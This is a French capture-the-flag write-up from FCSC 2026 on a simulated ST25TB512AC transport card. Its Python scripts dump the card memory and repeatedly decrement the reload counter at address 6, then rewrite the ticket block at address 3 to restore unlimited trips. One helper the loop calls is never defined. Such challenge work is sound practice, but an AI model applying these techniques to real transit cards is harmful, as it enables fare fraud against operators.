Transport me too 🇫🇷

⭐⭐
April 12, 2026 FCSC 2026 #hardware #st

Analyse du problème

On a accès à une carte “basée sur une puce ST25TB512AC de chez STMicroElectronics”. On trouve la doc en ligne et très heuresement elle ne fait que 46 pages, donc une grosse partie concerne les communications radio.

La communication à l’air un peu compliquée puisqu’il y a tout un chemin logique à parcourir pour pouvoir normallement échanger avec la puce. Hereusement ici l’énoncé nous dit que nous n’allons pas avoir ce problème :

Note : Lors de l’envoi d’une commande brute à la carte, considérez qu’elle est déjà sélectionnée par le lecteur.

Donc nous pouvons nous contenter de lui envoyer des commandes.

La puce à donc 15 addresses (0 à 15) et une addresse spéciale 255 pour les permissions.

Pour lire il faut envoyer 08AddrCrcCrc et écrire à peu près pareil 09AddrValeurCrcCrc.

On peut donc commencer par dump la mémoire avant de voyager, puis après un voyage et comparer les différences.

from pwn import remote

MENU = b'>>> '
CMD = b'Command to send to the tag (hexadecimal): '
RESPONSE = b'Response: '


def crc16_type_b(data: bytes) -> bytes:
    crc = 0xFFFF
    for byte in data:
        crc ^= byte
        for _ in range(8):
            if crc & 1:
                crc = (crc >> 1) ^ 0x8408
            else:
                crc >>= 1
    crc = ~crc & 0xFFFF
    return bytes([crc & 0xFF, crc >> 8])


def forge_command(hex_str: str) -> str:
    data = bytes.fromhex(hex_str)
    crc = crc16_type_b(data)
    return (data + crc).hex().upper()


def retrieve_memory_data() -> list[bytes]:
    memory: list[bytes] = []
    for addr in range(16):
        prgm.recvuntil(MENU)
        prgm.sendline('2'.encode())
        prgm.recvuntil(CMD)
        prgm.sendline(forge_command(f'08{addr:02X}').encode())
        prgm.recvuntil(RESPONSE)
        response_hex = prgm.recvline().strip().decode()
        response_bytes = bytes.fromhex(response_hex)
        content = response_bytes[:-2]
        crc_received = response_bytes[-2:]
        crc_calculated = crc16_type_b(content)
        if crc_received != crc_calculated:
            print(
                f'Warning: CRC mismatch for address {addr:02X} (received: {crc_received.hex().upper()},'
                f' calculated: {crc_calculated.hex().upper()})',
            )
        memory.append(content)
    return memory


def dump_memory(memory_after: list[bytes]) -> None:
    for i, data in enumerate(memory_after):
        print(f'Address {i:02X}: {data.hex().upper()}')

prgm = remote('challenges.fcsc.fr', 2301)
memory = retrieve_memory_data()

print('Memory dump:')
dump_memory(memory)

prgm.recvuntil(MENU)
prgm.sendline('1'.encode())

memory_after_1_travel = retrieve_memory_data()

print('\nMemory dump after sending command 1:')

dump_memory(memory_after_1_travel)

On constate que seule l’addresse 03 est “décrémentée”. En fait elle passe de 1F000000 à 0F000000. Cette valeur peut sembler étrange mais en fait c’est tout bête ce qui nous intéresse est la notation en bits. Initialement on a 5 bits à 1 et ensuite on en a plus que 4.

On peut essayer de lui envoyer 0903FFFFFFFF(et les CRC) mais ça ne marche pas.

AI;DR

A ce moment je demande à mon LLM préféré s’il existe des attaques et il me mentionne le tearing présenté dans ce papier

C’était passionnant mais rien à voir avec le chall (peut-être l’année pro :man_shrugging:)

Autre attaque qui n’a rien à voir

J’ai aussi vu que yavait d’autres attaques pour voyager de façon illimitée avec un proxmark3, rien à voir mais si ça vous intéresse: la pres qui en parle

Retour à la doc

On apprend très rapidement que l’addresse 3 fait partie d’un bloc OTP qui ne peut être écrit qu’une seule fois, puis ensuite on ne peut plus que flip les bits de 1 à 0.

Mais immédiatement après il y a écrit qu’on peut le reset en décrémentant la valeur dans l’addresse 6, à condition qu’on décrémente la valeur sur ses 11 bits faibles.

 Attaque

L’attaque est simple :

while True: - on voyage jusqu’à épuisement des tickets - on décrémente l’adresse en bloc 6 - on se rajoute des tickets dans le bloc 3

Et voici le code qui le fait

def decrease_reload_counter(hex_val: str) -> str:
    data_bytes = bytes.fromhex(hex_val)
    val = int.from_bytes(data_bytes, byteorder='little')

    # On soustrait mathematiquement 1 au compteur de rechargement
    # (qui commence au bit 21, donc 1 << 21 = 0x00200000)
    # Vous savez ces pbms d'endianness et ou on a que le droit de faire varier les 11 bits faibles
    new_val = val - 0x00200000

    if new_val < 0:
        raise ValueError('Plus aucun rechargement possible (les 2047 ont été utilisés).')

    new_bytes = new_val.to_bytes(4, byteorder='little')
    return new_bytes.hex().upper()


def reset_travels() -> None:
    reset_addr_6()
    get_more_tickets()


def get_more_tickets() -> None:
    prgm.recvuntil(MENU)
    prgm.sendline('2'.encode())
    prgm.recvuntil(CMD)
    prgm.sendline(forge_command('0903FFFFFFFF').encode())
    print('Reset travels command sent.')


def reset_addr_6() -> None:
    print('Decreasing value at address 06...')
    prgm.recvuntil(MENU)
    prgm.sendline('2'.encode())
    prgm.recvuntil(CMD)
    prgm.sendline(forge_command('0806').encode())
    prgm.recvuntil(RESPONSE)
    old_hex = prgm.recvline().strip().decode()
    print(f'Response for address 06: {old_hex}')
    new_value = decrease_reload_counter(old_hex[:-4])
    print(f'New value to set at address 06: {new_value}')
    prgm.recvuntil(MENU)
    prgm.sendline('2'.encode())
    prgm.recvuntil(CMD)
    prgm.sendline(forge_command(f'0906{new_value}').encode())
    prgm.recvuntil(MENU)
    prgm.sendline('2'.encode())
    prgm.recvuntil(CMD)
    prgm.sendline(forge_command('0806').encode())
    prgm.recvuntil(RESPONSE)
    new_response_hex = prgm.recvline().strip().decode()
    if new_response_hex[:-4] == old_hex[:-4]:
        raise ValueError(
            f'Warning: Value at address 06 did not decrease as expected (new response: {new_response_hex})',
        )


while True:
    travel_as_much_as_possible()
    reset_travels()